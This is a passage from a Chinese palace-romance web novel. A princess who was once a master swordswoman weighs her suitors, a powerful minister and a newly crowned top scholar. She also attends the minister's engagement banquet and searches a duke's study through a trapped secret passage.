《长公主选夫记(万人迷)》
1. 状元
正午,外头阳光正好,晒着公主府里的玄猫懒洋洋窝在花丛里,不愿意动弹。
而长公主闻铮被人堵在圈椅里亲吻,她吻技生疏,只能被动的接受那人掠夺,唇舌之间不免泻出几声嘤咛。
男人贴的更紧,眼尾泛起潮红,单手从圈椅里揽住闻筝的腰,继续追逐她的小舌。
外头婢女敲门:“邵府来人了,请司徒大人即刻回府。”
男人不为所动,右手深陷在她的发髻间,喘息声渐重。
闻铮单手抵在他的肩上,微微向后仰起脖子,那个吻堪堪落在她的左脸上,被躲了过去:“邵大人,贵府都要人要到我公主府了,还不赶紧回去?”
邵景泽没动,唇舌之间离开了些距离,视线自然落到闻铮眼中,那女子没有一点笑意。
“你在赶我走?”
“哪敢啊?”闻筝靠到椅背上像一只慵懒的猫:“你司徒大人官拜三公,我留你还来不及呢?怎么舍得赶你走?”
婢女没听见里面的动静,再一次催促:“邵府请司徒大人回老宅,有要事相商。”
闻铮眼角挑了点笑,双手圈住邵景泽的脖子,语气暧昧:“公主府从不留人过夜,你若是真想留,今日本公主倒可以为你破个例。”
邵景泽用眼神把闻铮上上下下看了遍,克制自己想要继续吻下去的冲动,抬起身子:“你既不是真心留人,何必说这些话?”
闻铮算算日子,圈着人笑起来,不紧不慢:“今日是个好日子,最适合定亲是不是?邵府如此着急,想必为此事而来。”
邵景泽没否认。
“给我。”
“你要我?”
闻铮一点点抬起眼皮,尽是冷淡,伸手在他的右脸上拍了两下,嗤笑道:“别尽给点不值钱的东西。”
“你知道我要什么,一个吻换去年赋税表。算下来,我亏了,和你接吻,我很恶心。”
邵景泽身体一僵,慢慢直起身子,从闻铮的怀抱里出来,不辩喜怒:“明日送到。”
“今晚。”闻铮拿起放在案上的团扇,摇了摇:“你不想今日你在公主府里的龌龊事被你未过门的妻子知晓吧?”
邵景泽罕见的没有反驳,闻筝目光又冷了冷,看样子,他也认为这件事很龌蹉。
“好。”
闻铮终于有点真心实意的笑意:“多谢司徒大人,成亲时记得给我送份请帖。”她假模假样的摇了两下扇子,才四月份,哪里用得上扇子纳凉:“不过,陛下最近也想本公主最近成亲,到时我与司徒大人还不一定谁先谁后。”
邵景泽拉开门的手一顿:“你…打算与何人成婚?”
“新科状元郎沈青辞。”邵景泽将目光又转回闻铮身上,那人支颌挑眉:“烦请大人到时替我说和说和,这件事我做女子总不好主动开口。”
“不行。”邵景泽捏着门框,指节青白,缓了缓又道:“不行。”
“不行?”闻铮抬起眼皮,在空中与邵景泽的目光撞到一起:“是和沈青辞成婚不行?还是成婚不行?司徒大人还是管好自己吧,卖主求荣的事情我可做不出来。何况…卖的还是我家的荣。”
她将团扇扔到一边,下了逐客令:“好走,不送。”
邵景泽冷冷看人:“长公主,我不点头,你成不了这个婚。”
长公主冷笑从牙缝里挤出来一个字:“滚。”
邵景泽如言滚了,滚到马车上还没有走几步马车又停了,他因长公主即将成亲的事情压了一股邪火,现下不耐烦,连眼睛都没睁开:“又怎么了?”
小厮伸长脖子看了会,道:“那边贴了告示了,说是半个月为后未长公主选夫,有意者均可去府衙报名。”
荒唐!别说长公主,就是寻常人家的女子没有贴告示求夫婿的道理!
邵景泽一指挑帘,看见更为荒唐的一幕,告示上明明白白写的长公主闻铮的生辰八字,这是谁的鬼主意?哪有把女子生辰八字公然放在纸上供人欣赏的?
榜下站着小道士,站了好一会了,那位小道士摸着下巴,直摇头叹息:“这八字不好,命中要成两回亲。”
众人一惊,自古女子守节为重,成亲两回,不是克夫就是变节,这他娘的谁敢娶长公主?
邵景泽也听见这话,扬起下巴吩咐小厮:“把他给我带过来。”
小道士被客气的请过来,邵景泽难得在不耐烦中给出个好脸,从车窗里探出半张脸:“小师傅,敢问八字何解?”
“你说那八字啊?”小道士不知此人便是当今司徒大人,直言不讳地说:“贫道刚才已经说了,她命中要成两次亲。”
邵景泽目色深深,慢悠悠问:“哦?依八字上看,这两次夫婿分别是谁?”
小道士左不过才十三四岁,很诚恳的摇头,学着大人的样子,举起手掌放在下巴边:“贫道才疏学浅,看不出来。”
邵景泽的好脸登时没有了,眼皮一抬,咬牙切齿:“去,把那告示给我撕了!”
这话把小厮逼的手足无措:“大人,若是此刻撕告示怕是以为咱们家要做这英雄好汉,以为你要娶长公主呢!”
邵景泽还没来得及做反应,那头已经有人在惊呼中撕下告示,当了英雄好汉,来人一身月色华袍,束发玉冠,将告示叠了三叠,堂而皇之的放进胸襟里,拱手温和道:“对不住,各位,女子生辰八字不能广而告之。是以,这告示我摘了。”
有心善者上前提醒:“这位郎君,刚刚那位小道士说,这女子命中要成两次亲。你还敢摘?”
那人顺着目光自然与马车上的邵景泽对视,大狐狸笑都懒得展示一个,一眼认出了这是谁。
临安城里风头无两的新科状元郎沈青辞。
论年岁,他虚长沈青辞三岁。
论职位,他官拜司徒,沈青辞还没有职位,空有状元郎的名声。
论与长公主闻铮相识的时间,他也是远早于沈青辞的。
所以,邵景泽在等着沈青辞来拜见自己。
沈青辞为人谦谦君子,既不谄媚亦不失礼,脚步动也没动,远远作揖,微微一笑,对着旁边那人说道:“老伯,有什么不敢?我正是要准备娶长公主。”
邵景泽自始自终没有露出一点笑,凉薄的想,怕只怕你没这个本事,本朝尚公主后驸马爷无实权,你小子能为闻铮放弃什么?
他忘了,他如今官拜司徒,尚公主也是什么都要放弃的。
沈青辞不知邵景泽心里想什么,施施然的说完话又轻飘飘的走了。
那方向,正是公主府。
***
长公主闻铮斜斜的倚着小案,细白的脚腕上一根红绳,上头坠着块不知名的碎玉。
苏茉端着茶水进来:“苍梧山上的茶叶就这么多了。”又道:“皇上大张旗鼓的为你选亲,生辰八字贴了满大街都是,不生气?”
苏茉也是苍梧山上的,两个人拜的不是同个师傅,那山大的很,大到两位女子只能隔山相望。
“我生气有什么用?”闻铮盯着院
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子里的猫,浅浅笑了:“他又不听我的,长公主这身份,他害怕,再怎么样比他那皇位来的正?早点把我嫁出去,死死的把我看在京城,再把潮生流外,多好啊。”
说到这里,闻铮左右四处看了半天,问苏茉:“闻潮生呢?这死小子又跑到哪去了?”
苏茉干咳一声:“虽然你比他大两岁,但是!你这样叫人家死小子是不是不太好,毕竟人家已经是乾安王了。”
闻铮一想是这个理,暗道这皇帝真不要脸,谋朝篡位就算了,他一个来路不正的皇上还要给正统皇室血脉封王。
“他是不是又去赌坊了?”
“这你可想错了,和御史大夫吃酒去了。”
闻铮无话可说,抬头看见风起花落星如雨,身着月白色袍子的男子踩着花瓣,风盈满袖,如一幅畅意的山水画卷,风骨傲然。
苏茉回身小声道:“他不当状元郎,当你的面首也是可以的。”
长公主养面首在哪朝哪代不是新鲜事,闻铮很认真的思考了这句话,她这种身份尴尬的养些面首大有益处。
“正有此意。”闻铮换了个坐姿,打定主意后笑脸相迎:“状元郎何事登府?”
清洌的冷风携带着花香扑到闻铮,玄猫跳到廊下,在沈青辞的脚边卧下,打个了滚,露出肚皮,求着沈青辞摸。
闻铮收敛了笑意,平静吐出两个字:“畜牲。”
“长公主是在骂我?”沈青辞正蹲身子摸玄猫肚皮,闻听此言,哑然失笑。
“不敢。”闻铮从榻上下来,赤脚踩到地上:“说这只猫呢,对谁也是袒露肚皮,这种不忠心的畜牲骂上几句不过分吧?”
沈青辞起身抬头,对上那双冷淡的眼睛。
“状元郎,有事相求啊?”他生的清瘦又高的很,平白无故的让她想起苍梧山上的竹林。
“有。”沈青辞供认不讳,嘴角挂着点温和的笑意:“听闻长公主要选夫。”
“告示贴的满大街都是,”长公主饶有趣味的看着沈青辞:“还用的着听闻两个字吗?沈公子不如坦荡一点。”
沈青辞如他所言,眉目亮如春江水,浅笑:“选我。我要娶你。”
果然坦荡。
闻铮早年闯荡江湖,可谓天下剑道第一人,能用扇子轻易挽出剑花:“怒我直言,阁下不配。”
沈青辞也不恼,只觉得她那剑花挽的人晃不开眼:“长公主是准备始乱终弃么?”
…
他全然不在乎长公主的沉默,再次追问:“长公主,为何不答话?”
闻铮嘴角抽抽,想骂人的冲动涌到嘴边,临出口还是换了一下:“状元郎,你要不要听听你在说什么?”
是,她闻铮偶尔形事荒唐,偶尔乖张暴戾,偶尔疯批无状,但在感情这方面向来洁身自好,力求恩怨两清,什么时候她始乱终弃?
沈青辞沉默了一会,不依不饶的看着闻铮,眸中思绪万千似风起云涌。
料是闻铮这种不要脸的女子也败下阵来,十分心虚,小心翼翼的试探:“你是说初见?”
沈青辞神色一动,沉声道:“正是。”
闻铮遇见状元郎那日也如同今日这般先是见了邵景泽,那人走后,她倚着栏杆向外看。
街上沈青辞身着红服,脚踏骏马,风卷起他的袖袍,满屏红袖招,她才想起来,今日正是殿试,算着时辰也差不多结束了。
状元郎目视前方,官帽下是一张极其年轻的面孔,生了一副万里挑一的好皮囊。
2. 上门
本朝自开朝后废除榜下捉婿,但法度之外仍有人情,状元郎打马而过,若仰慕状元大才,祈求子孙后代也可登榜,常常扔花以表,若是能砸中状元郎,那就是独占鳌头。
可后来祈求不知怎么变成相看,殿试这天无数女子倚街而望,碰上状元郎年轻貌美,争先恐后的扔花。
闻铮捏着山茶花,抬头略微看了看,状元郎来时路成了花路。
苏茉站在闻铮身后,一面怂恿一面激将:“你也凑凑热闹,你现在的准头不复当年了吧?”
“那你可真是…”闻铮没回头,支起身子微微向前探,随后扔出去:“小看我了。”
红色山茶花正中状元郎手心。
闻铮得意笑了一下,扬起下巴冲苏茉道:“怎么样?”
状元郎捏着山茶,抬眸看见了茶楼上的长公主,光影变化间,年轻的公子嘴角上扬,随后在众目睽睽之下,将这朵山茶花别在耳后。
郎艳独绝,世所罕见。
苏茉不懂:“他…什么意思?”
“这…是告诉旁人,他有主了,从此以后他是我的人。”闻铮早年在京时看不上这样的相看大会,临街人态度傲慢的像找狗,当时她万万没想到今天也收获一条狗。
状元郎单手拎着缰绳,冲她颔首,俨然一副青楼女子被赎身感,她好巧不巧成了这位状元郎的火山恩客。
刹那,女子们都朝闻铮这边看过来,有人认出来了,道:“我当谁呢,前朝公主还在本朝托大拿乔?状元郎,快快摘下花吧,免得误了自己的前途。”
闻铮心里的逆鳞就那么两块,春三月里长公主仿佛被人兜头浇了盆水,五官冷成了冰,再无表情。
状元郎挑眉,眼似春水,高声:“我心匪石,不可动摇。”
说话间,苏茉拍桌而起,脚尖踩着栏杆飞向对面,一把抓住那人衣领,直直从二楼扔下,在地面开出一朵灿烂的鲜花。
长公主紧绷的脸上终于有一丝松动,绢扇轻摇,冷笑道:“前朝公主说的算不算,还轮不到你们这种人指手画脚。”
闻铮想了这件事,脸微微抽搐一下:“当日,你大可以把花扔下。”
“始乱终弃的事我做不出来。”
…两句话不离这几个字。
闻铮懒得继续装了,又靠近几步,玄猫很有眼色的卧到长公主脚背上:“沈公子,难道不曾听闻尚公主,何谈娶我?本朝法度,驸马不能有实权,我念你连中三元,实属不易,你说…要怎么办呢?”
沈青辞笑淡了些,双目幽幽,听懂了这话的意思,复而颔首:“愿为长公主面首。”
苏茉在一旁惊讶的合不拢嘴,就这么简单吗?这就…结束了?他们这群人不是一身傲骨吗?就这么为爱做面首?文人思维果然不同凡响。
闻铮也没有想到这么简单,发愣之间,那人上前一步,拦腰抱起她,给了长公主一个公主抱,她是习武之人,倒没有多惊慌失措。
沈青辞先是十足十的力气,很快又怕勒疼她,松了劲,腰腹之间轻柔的不像话:“这么轻?”
“我看起来这么重吗?”闻铮搂着他的脖子,瞬间黑脸:“还是说沈大人抱过许多女子,知道轻重?”
“自重。”
沈青辞轻柔放在榻上,随后坐到床尾,目光下移,伸手抚上长公主白皙的双足。
闻铮万没有预料到沈青辞前脚得了面首之名,后脚就这么孟浪,下意识缩了一下,被人抬手按住了。
风吹帷幔,闻铮叹道:“你知道面首什么意思吗?我是主子,你是奴才,只有我想要的时候…”
沈青辞没理会她的话,握住了她的脚掌,她足弓高,内里能含下一枚李子,足尖小巧玲珑,尖尖处分布点点红。
正当闻铮以为他要做什么时,沈青辞却把她的脚掌塞到自己的怀里,一本正经:“你的脚怎么还是这么凉?”
闻铮敏锐的察觉到“还是”二字的含金量,倚着枕头,蹙了眉:“你以前认识我?”
沈青辞淡淡的笑着,对上长公主的眼神,并不言语。
“长姐。”闻潮生从外头进来,手上拿着一沓子纸。
闻铮只比闻潮生大两岁,在外人看来实属同龄人,但闻铮很会拿自己当长辈看,端的一手好架子,养面首这种事当然不肯上梁不正,以免造成下梁歪,当下干咳一声:“去哪了?”
沈青辞读懂了,借着袖子的掩盖,在闻铮脚心暧昧的画了几笔,起身向闻潮生行礼:“见过乾安王。”
闻潮生长的很不像他的父亲,十岁上就与他的母亲像是一个模子刻出来的,眼尾上挑,妖艳无双,眉中间生的小小的一粒红痣,不笑时犹如神佛,笑起来好似鬼魅。
犹如鬼魅的闻潮生,摆摆手:“状元郎,没什么事就回去吧。”
闻铮不动声色的点头,默许了这种做法。
沈青辞一走,闻潮生扑哧往床前一跪,捏着纸张啪啦啪啦响:“这老匹夫什么意思?想要把你从我身边夺走?”
闻铮眉尖一跳,很想告诉他有些词不是这么用的,可是说来说去也怪自己,早几年走南闯北光顾在江湖少年意气了,全然忘了给他请个好先生,导致现在他说话总是词不达意。
“这有什么?”闻铮顺手拿起招亲告示瞟了几眼:“我迟早都要成亲的。你也早晚要娶妻。”
“不,我不娶妻,”闻潮生在这方面很固执,不讲理道:“长姐也只能是我的。”
好吧,又词不达意了。
闻铮暗暗的想,这句话要表达的意思应该是:我与长姐生死与共,永不分离。
倘若在“文”这方面不成,在“武”这方面不能再不就,人生在世,总一样要拿的出手。
“潮生,给你姐姐露几手,我看看最近你武艺可退步了。”
闻潮生道了声好,取下挂在墙上的佩剑去院子里。
苏茉看了几眼,摇摇头:“比你当年差的不是一星半点,花神剑在他手里一半的威力都没有。”
凡是剑客都有自己的佩剑,为了彰显自己的威风,各种各样不寒而栗的名字都有,可是天下第一剑客闻铮的佩剑另辟蹊径,取名花神,梦幻泡影似的。
闻铮摸摸自己的手腕,断脉难续,此生她再也拿不起来花神了,难免叫人不抱憾:“这把剑送你了,免得浪费了。”
苏茉拒绝:“不用,我用刀比用剑顺手。”
闻铮看了几招,虽然潮生比不上她当年,但也已经很好了:“你上次说沈青辞出身江南,自幼读书,一心只想考取功名?”
“是。”
闻铮抬起下巴,声音沉了下去:“他右手掌心与虎口有茧,分明是长期练武所致,他与你我一样,不是使刀,就是用剑。”
话
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音刚落,院里闻潮生的一套剑法也耍完了,老远冲着闻铮笑,闻铮也笑,声音渐冷:“他在隐藏身份、继续查,而且…”她停顿了一下,想起沈青辞心中总有异样的感觉,可那感觉总是灵光一现,她抓不住:“我好像认识他。”
苏茉好死不死的接了一句:“你不会真的对人家始乱终弃,导致人家上门寻仇报复来了吧?”
“放屁!”闻铮矢口否认:“我能是这样的人吗?”
管家跑进来,手里恭谨的捧着一份帖子:“长公主,齐国公徐家送来帖子,说是今晚喜结良缘,请长公主前去观礼。”
闻潮生脚步一转,花神回鞘:“是要与邵家定亲的徐家?”
管家点头:“是,齐国公膝下唯有一女,早就看中司徒大人。”
闻潮生冷哼一声:“把帖子原封不动的送回去,诶,别说我姐的意思,就说是乾安王让你送回去。”
闻铮想了下,叫住了管家:“别送回去,我去赴宴。”
“姐姐,”闻潮生弯腰入内,重新盘到闻铮脚边,像小时候那样把头靠在闻铮大腿上:“你去做什么?他摆明要羞辱你,自己不下帖子,还让徐家下贴子?”
“这事不一定是邵景泽做的。”闻铮回想他早上从这走的样子,显然他也不愿意自己与他定亲的事情多有牵扯。
闻潮生心里一下子酸了,这些年他们姐弟二人相依为命,怎么姐姐还要邵景泽说话?
“姐姐,他负了你。”
闻铮心道,他不是负了我这么简单,他辜负了整个闻家。
没有听到闻铮的回话,闻潮声心里的不得劲又上来了,学着玄猫咬了一口闻铮手指。
闻铮轻弹一下闻潮生的额头,呵斥:“我当时就不应该在狗窝旁把你捡回来,这么大还改不了咬人的毛病。”
是的,闻铮与闻潮生并无血缘关系,长公主六岁时捡回来四岁的小潮生,天下奇闻。
“可是你还是把我捡回来了。”闻潮生转了一下脸,埋首在闻铮腿中,声音闷闷的:“为什么非要去?让我把帖子送回去,又不用你出面,要骂也是骂乾安王。”
他有时不得不承认,狗皇帝给的乾安王帽子挺好用,他倒要看看齐国公是不是够胆要和他对着干。
“你干和我干有区别吗?”闻铮不以为意的笑笑:“你我二人同为一体,休戚与共。”
闻潮生没读过几年书,休戚与共听不太懂,同为一体是能听懂的,好像还有个近义词是夫妻一体?心里的不得劲一下就变成得劲了,抬首露出湿漉漉的小狗眼:“我和长姐一起去。”
***
天下繁华之处莫过临安,入了夜依旧繁华喧嚣,齐国公府门外车马不断,半刻前两队人马从巷口跑进来,堵住巷口不让入内,一辆挂着乾安王府灯笼的马车缓缓入内。
闻潮生先跳下马车,回身抬臂扶住闻铮,下人们知情识趣退后半步,有乾安王在的地方哪里用的着他们服侍长公主?
闻铮目光扫视一遭,落到站在门前的齐国公徐正身上:“你提前清道了?”
“我姐姐出门有点排场不应该吗?”闻潮生心里明镜似的,他们要看姐姐的笑话,他偏偏要给姐姐十足十的排场:“要我说姐姐还是来早了,架子都没有摆够。”
“齐国公,好啊。”闻潮生皮笑肉不笑的打招呼,眉间红痣透漏着不耐烦。
3. 定亲
长公主与乾安王身份尴尬,先不说前朝那些事,单是疯子姐弟两的做事风格就引人侧目,朝中大半人不愿与他们有所瓜葛。
徐正笑着拱手,纵使不情愿,也不得不装出个样子:“小女定亲,本不是什么大事,二位肯不请自来,给足徐某脸面。”
乾安王一袭红衣,手持白扇,随手将帖子扔到徐正脚下:“不请自来?齐国公御下不严,背着你给乾安王府下帖子,真是不知死活。国公大人,在下替你管教一下。”
齐国公脸色当时就变了,猜出来是怎么回事,伸手展臂:“王爷严重了,我行伍出身,用词不当,王爷请。”
闻潮声侧身让步,笑吟吟道:“姐姐先走,弟弟服侍在侧。”
齐国公的脸黑了,王爷和公主位分谁高谁低个人心中都有杆秤,但是当即驳了自己的脸面很是不悦。
闻潮生头脑简单,人人都要踩长姐一脚,他就要把长姐碰的高高的,谁也别想踩。
齐国公嘴上说的好听,实际连二人位置都没有提前安排,硬着头皮把人引高位。
庭院广阔,座无虚席,闻潮生红衣妖艳,引的人目光频频望向这边。
“长公主?她怎么会来?”
“怎么不能来?”
“你年轻,这位长公主早年与司徒大人订过亲,后来出了那档子事,邵大人决计不肯。”
闻潮生脚步一顿,心中复杂的很,前头长姐珠钗晃了晃,他在心中叹口气,长姐不喜他在这种场合太过张扬,今日不宜在出格。
他抬脚欲走,那头轻笑:“邵大人果然有福气,要是当时娶了长公主,现在还不知是怎么鸡飞狗跳。”
闻潮生不走了,听见议论声回过脸来,几不可察的笑了笑,神佛鬼魅两厢切换,身形极快的揪起那人领口:“我道是哪个长舌妇,没想到是两个男人。”
“你…你,要做什么?”
“啪——”他从前用的重刀,手劲极大,两巴掌下去,那两人顿时耳鸣。
“记住了,是我姐姐不嫁他,邵景泽是个什么东西,轮得到他来做什么一刀两断之举?我姐姐不嫁他,才是我姐姐的福气!”
庭院里喧闹的声音早在闻潮生冲出去时就消失了,他的这两句话一下子清晰入耳。
“潮生。”闻铮已然落座,轻摇手中扇,似笑非笑:“和他们较什么劲?掉了自己身份。”
“是,”闻潮生森然一笑:“谢谢我姐姐吧,不然现在保准你血溅当场。”
虽说男女分席,到底是相看之宴,简单分了男左女右,除主家外,男以乾安王为贵,女以长公主为尊。
“长公主好。”来人盈盈一拜,身娇体柔敷衍十分。
闻铮支着下颌,开门见山:“徐玉景,是你给我下的帖子。”
“是,自长公主回京,也没有闺中好友,这样的场合很难见吧?”
闻铮最烦人说话藏半句露半句,嘲讽的话堆到嘴边,抬头看见邵景泽进来了,墨玉束发,一声玄衣,看起来不像订亲,像是奔丧,瞬间换了主意:“徐小姐,你让我来,是想让我看看你与邵大人两厢情好?让我死了这条心?”
徐玉景愣住——大家闺秀怎么能轻易说出有失体统的话?
邵景泽自然也看到了她,眼中震惊,两人视线在空中短暂的相接一下,又像水中鱼似的不动声色的滑走了。
闻铮凉薄的笑了一下:“只怕是你邵大人不愿意啊!”
徐玉景对于他们两之间的事情早有耳闻,猛然被戳到心虚处,本能站直了几分,慌乱的辩解:“不可能!他不愿意怎么愿意来呢?不愿意怎么可能订亲?”
“我的确不知。”闻铮冷冷的打断:“但是你明知我与他过往,特意下帖子,也存着想看别人嘲弄我的心思,这点可对?”
她这招不算毒,也不是什么技高一筹,就是太恶心人。
如同刚才的场景,要么她装作没听见,活生生的咽下这只苍蝇,要么就打回去。打回去当然没问题,可明天满京城就该传她对邵景泽余情未了。
长公主对名声很无所谓,但是这名声若是别人强行塞给她的,她就很有所谓了。
幸好,潮生替她解决了麻烦,堵住了悠悠之口。
徐玉流脸色白了一层,她太年轻,年轻到简单的辩白都不会。
“徐小姐,”闻铮扬起下巴示意:“那头好像在等你呢。”
徐玉流没管此话真假,脑海里空白一片,急匆匆落荒而逃。
烛火曳曳,黄昏之礼,高朋满座,闻铮腰背挺直,在人声鼎沸时走神儿。
再回过神时邵景泽携着徐玉景敬酒,男席第一位是闻潮生。后者坐没坐相,烂泥似的靠在案边,右手一下一下敲着桌面,静等着人来。
“这位是乾安…”
闻潮生大手一挥,站起身:“不用介绍了,我与司徒大人是旧相识。”
“那好,那好,”领酒的中间人忙不迭的从桌上捧起酒杯送到闻潮生手边,心里祈求这祖宗不要出什么幺蛾子:“敬新人一杯酒吧?”
闻潮生从善如流的接过酒杯,挑起一抹笑,阴郁冷肃:“好,我祝二位不孕不育,儿孙满堂。”
真是好一句祝福,在场人静了一瞬。
“你!”
闻潮生暗睨徐流景一眼,厉声:“这里有你说话的份吗?”
“司徒大人,酒我已经敬过了,喝不喝全在你。”闻潮生将白瓷酒杯重重的放回桌上,荡起一层波纹,放浪不羁的笑了一把,拂袖离去:“国公,你家茅房在哪?我要如厕!”
知道往事的不肯吭声,不知往事的碍于权势不敢吭声。
中间人望着红衣背影冷汗涔涔,暗道这位祖宗不生事就没道理了。
国公府历任三代,爵位不曾递减,加上与当朝司徒大人连亲,今夜朝中人来了大半,一眼望不到头的小案。
闻铮端着酒杯,她酒量不好,甚少饮酒,只望着天空中一弯残月,心中一口气还没有叹完,算着时间看见黑暗之中红衣身影踉踉跄跄捂着胸口回来,那口没叹完气骤然提上来。
扭脸邵景泽二人已经走到她面前,众人的目光或是不经意或是明目张胆,总之都多多少少等着看这场好戏。
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“长公主。”邵景泽先出声,年少时他声音就如此清冽,时至今日变成新皇鹰犬还保持正人君子的嗓音。
闻铮摸着酒杯,潮生尚未归座,她举杯站起来,抬臂时露出细白的腕骨,只笑一下,并未说什么。
长公主名声在外,乾安王珠玉在前,大家都以为闻铮要说什么语不惊人死不休的话,谁知就这么平淡一笑,不免大失所望,又开始各自推杯换盏。
潮生躲在黑暗里,胸口处湿了一片,万幸今日穿的红衣并不显这点血迹。
徐流景不想在这停留,率先喝了一杯酒,笑道:“多谢长公主肯赏脸。”
“不给国公面子,也要给司徒大人面子。”闻铮咬咬牙,忽然说道:“司徒大人,既是你的好日子,你来给我敬酒,不如,走个交杯吧?”
空气里突然出现诡异的寂静,原本推杯换盏的人全被这一声吸引过来。暗道长公主果然嚣张跋扈,在人家正妻要走交杯酒,一般人想不出来这么损的招,就看当朝的司徒大人要如何抉择了。
邵景泽抬起眼皮,与她对视。
中间人有意周旋,笑着说道:“长公主这不是有意为难司徒大人吗?”
“这叫为难?”闻铮冷笑:“我这不是恭祝邵大人喜得良缘吗?”
你来我往之际,闻潮生已悄无声息回到座位上,没有人注意到这位如厕的王爷何时归来。
达到目的闻铮懒得演了,垂眼放下酒杯,十分善解人意道:“你说也对,既然为难便算了。”
凭空多出来一只手正托住她的手腕,没让她把酒杯放下去,那只手骨节清浅,清瘦修长,闻铮顺着手臂看过去,一身玄衣的邵景泽声音稍沉:“一杯交杯酒而已,就听长公主的。”
“景泽!”徐流景气的跺脚,这是把她家的面子按到地下踩。
邵景泽没理会她的不高兴,端了杯,隔着一张小案倾身过来,还没等闻铮反应过来,邵景泽胳膊穿过她的小臂,两人手臂自然在空中相交。
邵景泽饮的慢,视线一刻没有离开闻铮,她的饮酒时嘴唇嵌在杯口,谁也听不见闻铮下咽的声音,除了邵景泽。
闻铮只略微饮了一小口,剩大半杯,邵景泽瞧着她,突然低声说:“交杯酒不饮完是为不吉。”
闻铮抽出手臂,坐了回去,哼笑:“你我之间还在乎吉不吉吗?”
邵景泽还保持着刚才的姿势,举杯一饮而尽,那一刻他似乎笑了一声,但谁也没有听见。
隔着些烛火,闻铮的目光越过邵景泽直直看到后面的闻潮声,后者缓慢的对她摇摇头,她心中泛起一阵烦闷,今日难不成又扑了个空?
闻铮捻着白瓷酒杯,轻轻说道:“祝酒词还没有说呢,我祝二位早生贵子,白发人送黑发人。”
席上众人倒吸一口凉气,这姐弟两还真是不遑多让啊,一个赛一个的嘴毒心狠。
徐流景被气的喘不上气来,却听到站在旁边的邵景泽诚恳的回了一句:“多谢。”
闻铮没笑,侧首对站在身后的小丫鬟说:“劳驾,我酒量不好,扶我去假山那边休息片刻。”
4. 密道
晚风吹酒醒,闻铮摆手让人走了,眸中清醒,直奔国公府书房,前来赴宴是假,找到颖国公贪污腐败的证据是真。
刚入书房没走几步,脚下石板应声而开,闻铮没反应过来就坠下,眨眼间已落到地上,入目尽是黑暗,窸窣的脚步声提醒闻铮还有第二人。
黑暗中闻铮先下手为强,身形一旋,以掌为刀,掌心擦着那人右脸而过,力道轻柔,绵里藏针。对方下意识抬臂回挡,小臂相碰时,闻铮摸出他的身形,要比自己高大的多,紧接着一个扫堂腿,不等站稳,闻铮又是一掌,趁此机会,小臂上移,对方像是突然卸下所有防备,被闻铮抵到墙壁上。
还未等她逼问,那人听不出情绪的笑了一声:“长公主好身手。”
是邵景泽。
闻铮并未松手,小臂抬高些,恰好卡在邵景泽喉结上:“你怎么在这?”
此刻他应该还在前厅敬酒。
邵景泽说话时喉结一上一下,蹭着闻铮胳膊:“你来做什么,我就做什么。”
闻铮在黑暗中差点笑出声,这人处处试探。
“我来私会佳人,你也是?”
“自然。”他顿了顿:“说不准长公主等的人就是我。”
闻铮不能离席太长时间,也没有心思继续试探,火光曳曳,照到两人面上:“想来不能。”
邵景泽如同喝交杯酒时那般托住闻铮手腕将火哲子抬高些,照亮周围的墙壁:“自是不能。”
闻铮移开手,借着火折子看清密室,他们所处之处是一条甬道,后头是一条思路,前头黑漆漆,什么也看不清。
“长公主赴宴也带着火折子,”面前只有一条路,邵景泽先一步入黑暗:“早有预谋。”
“你很该问问你的未婚妻,”闻铮紧随其后,悠悠道:“她如果不给我下帖子,我想来也来不了。”
闻铮目光下移,邵景泽不知何时抽出一把软剑,她是爱剑之人,一眼看出来这剑的品格,由衷道:“剑不错。”
“就光是剑不错?”邵景泽没回头,小心翼翼的踩在石板上,鬼使神差接了这么一句话。
闻铮不置可否:“人么,差了点。”
邵景泽不以为意,脚下咔哒一声响,两人同时驻步。
“知道自己踩中什么了吗?”闻铮将火折子往下移了移,邵景泽的目光也落下去,他对奇门遁甲术毫无研究,等着闻铮解答。
“箭雨。”闻铮手无寸铁,只好把希望寄托在邵景泽身上:“邵大人,不如我们联手,否则想走出这里要点难度。”
“求之不得。”邵景泽脚未动,忽然回身,问了一句很不合时宜的话:“为什么要回来?你在苍梧山明明可以安稳度过一生,就算为了闻潮生,他在成年之后也可以获得荫封,好不容易逃出去,又何苦要回来?”
“当然是看不惯邵大人这样的无耻之徒能够权倾朝。”闻铮一笑后狠狠的朝着邵景泽膝窝里踢了一脚,那头吃痛,跳转起身,机关失去重量压制,从甬道的尽头飞出数支箭矢,邵景泽挡在闻铮面前,软剑雪光一现,斩落箭矢无数。
“那我就当你是为我回来的。”
闻铮侧身闪躲:“司徒大人寡廉鲜耻还一同往昔。”
两人在箭雨密布下不约而同想到六年前。
***
六年前的闻潮生很不是个东西,比起现在有过之无不及,从小不曾养在宫里,走南闯北惯了,胆子也大,单拿着一把弓箭就胆敢上山打猎,闻铮从那时起已经很有长辈的风范,听到消息,二话不说翻身上马就去找人了。
临安城中关系盘根错节,皇上也有无奈之处,闻铮少时离家,至今四年,她不想在仅仅回来的几天里还给父皇母后找麻烦。
等她快马加鞭赶到时,那头已经吵红了眼,闻潮生架起弓箭,就要朝对面那人射过去,对面那人也是个傻子,不闪不避,双手背后,尽等着闻潮生的箭。
闻铮不认识那个傻子,但认识那件衣服,这是外邦上贡的料子,非皇帝亲信不能穿。
电光火石之间,闻铮脚踩马背,凌空飞起,抽出花神剑,终于赶在箭矢到达前斩下。
那傻子头一次被女子所救,居然还有闲心赞叹:“好漂亮的功夫。”
闻铮一笑,暗想傻子也不是那么傻,至少还能看出来我功夫的好坏。
“长姐!”闻潮生看见人,大喊:“这家伙纵容手下人强抢民女!”
嫉恶如仇的长公主哪里能容忍这般无耻龌龊的行为,当下调转花神剑,雪光一闪,傻子反应极快,侧身躲闪,被逼退数十步,居然还有闲心解释:“姑娘,并非是强抢民女,我若不让人把她带到我家做工,只怕她那个赌鬼老爹明日就把她卖到青楼里去了。”
傻子说完,高喊一声:“剑来!”
手下人会意,立马扔出自己的剑,傻子在空中转身,伸手勾住剑柄,转身回挡,短兵相接。
傻子的劣势并未扭转,但不敢轻视。此女年纪轻轻,身形矫健,绝非无名之辈,两人走了数十招,自己也才堪堪接住。
闻铮此时也在暗暗吃惊,能在她手下走这么多招还未见败势,尤其少见,年少时好盛之心上来轻易下不去:“你怎么证明你说的是真的?”
闻潮生幼小的年纪扯着嗓子喊:“长姐,别听他的!那女子和我哭了半晌,说怎么也不愿意去他家!”
“姑娘,你若不信,我可以让人当面对峙。”生死关头,傻子并没有反击,橫剑格挡,架在胸前,反倒有条不紊的讲起道理。
